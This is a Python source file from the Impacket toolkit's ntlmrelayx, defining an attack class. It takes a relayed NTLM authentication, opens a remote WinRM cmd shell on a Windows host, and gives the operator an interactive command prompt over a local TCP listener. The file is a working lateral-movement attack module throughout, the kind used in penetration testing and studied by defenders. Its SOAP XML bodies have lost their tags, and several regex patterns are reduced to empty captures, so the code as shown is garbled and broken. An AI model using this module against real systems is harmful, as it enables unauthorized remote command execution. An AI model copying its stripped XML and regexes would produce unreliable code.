# Impacket - Collection of Python classes for working with network protocols.
#
# Copyright (C) 2023 Fortra. All rights reserved.
#
# This software is provided under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Description:
# WinRM Attack Class
#
# Authors:
# Joe Mondloch (jmk@foofus.net)
# Aurélien Chalot (@Defte_)
import re
import cmd
import sys
import base64
from impacket import LOG
from impacket.examples.ntlmrelayx.attacks import ProtocolAttack
from impacket.examples.ntlmrelayx.utils.tcpshell import TcpShell
PROTOCOL_ATTACK_CLASS = "WINRMAttack"
class WinRMShell(cmd.Cmd):
def __init__(self, tcp_shell, client):
cmd.Cmd.__init__(self, stdin=tcp_shell.stdin, stdout=tcp_shell.stdout)
sys.stdout = tcp_shell.stdout
sys.stdin = tcp_shell.stdin
sys.stderr = tcp_shell.stdout
self.use_rawinput = False
self.shell = tcp_shell
self.client = client
self.prompt = "\n# "
self.tid = None
self.intro = "Type help for list of commands"
self.loggedIn = True
self.last_output = None
self.completion = []
self.shell_id = None
# Getting Shell ID
initiate_shell = '''
http://windows-host:5985/wsman
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
uuid:2a8ac24f-00f0-4a87-860c-bf58d33a1e0a
http://schemas.xmlsoap.org/ws/2004/09/transfer/Create
http://schemas.microsoft.com/wbem/wsman/1/windows/shell/cmd
PT20S
153600
FALSE
437
stdin
stdout stderr
'''
headers = {
"Content-Length": len(initiate_shell),
"Content-Type": "application/soap+xml;charset=UTF-8"
}
self.client.request("POST", "/wsman", headers=headers, body=initiate_shell)
res = self.client.getresponse()
# Retrieve ShellID
if match := re.search(r'(.*?)', res.read().decode()):
self.shell_id = match.group(1)
def emptyline(self):
pass
def onecmd(self, command):
if not command.strip():
return
if command.strip() == "exit":
self.do_exit()
# Send Command XML
execute_command_xml = f'''
http://windows-host:5985/wsman
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
http://schemas.microsoft.com/wbem/wsman/1/windows/shell/Command
uuid:10000000-0000-0000-0000-000000000002
http://schemas.microsoft.com/wbem/wsman/1/windows/shell/cmd
{self.shell_id}
{command}
'''
self.client.request("POST", "/wsman", headers={
"Content-Length": str(len(execute_command_xml)),
"Content-Type": "application/soap+xml;charset=UTF-8"
}, body=execute_command_xml)
response = self.client.getresponse()
body = response.read().decode()
command_id = re.search(r"(.*?)", body).group(1)
receive_xml = f'''
http://windows-host:5985/wsman
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
http://schemas.microsoft.com/wbem/wsman/1/windows/shell/Receive
uuid:2a8ac24f-00f0-4a87-860c-bf58d33a1e0a
http://schemas.microsoft.com/wbem/wsman/1/windows/shell/cmd
{self.shell_id}
stdout stderr
'''
self.client.request("POST", "/wsman", headers={
"Content-Length": str(len(receive_xml)),
"Content-Type": "application/soap+xml;charset=UTF-8"
}, body=receive_xml)
response = self.client.getresponse()
body = response.read().decode()
# Extract and decode output
matches = re.findall(r']*>(.*?)', body)
for match in matches:
try:
command_output = base64.b64decode(match).decode("utf-8", errors="ignore").strip()
if command_output:
print(command_output)
except Exception as e:
LOG.error(f"Failed to decode output: {e}")
print(match)
def do_exit(self):
# This request is used to clean up the previously used ShellID
destroy_shell = f'''
http://windows-host:5985/wsman
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
http://schemas.xmlsoap.org/ws/2004/09/transfer/Delete
uuid:10000000-0000-0000-0000-000000000004
http://schemas.microsoft.com/wbem/wsman/1/windows/shell/cmd
{self.shell_id}
'''
headers = {
"Content-Length": len(destroy_shell),
"Content-Type": "application/soap+xml;charset=UTF-8"
}
self.client.request("POST", "/wsman", headers=headers, body=destroy_shell)
res = self.client.getresponse()
res.read()
if self.shell is not None:
self.shell.close()
LOG.info("WinRM shell destroyed successfully. You can now leave the NC shell :)")
return True
def do_EOF(self, line):
print("Bye!\n")
return True
class WINRMAttack(ProtocolAttack):
PLUGIN_NAMES = ["WINRMS"]
def __init__(self, config, WINRMClient, username, target=None, relay_client=None):
ProtocolAttack.__init__(self, config, WINRMClient, username, target, relay_client)
self.tcp_shell = TcpShell()
def run(self):
LOG.info(f"Started interactive WinRMS shell via TCP on 127.0.0.1:{self.tcp_shell.port}")
self.tcp_shell.listen()
shell = WinRMShell(self.tcp_shell, self.client)
shell.cmdloop()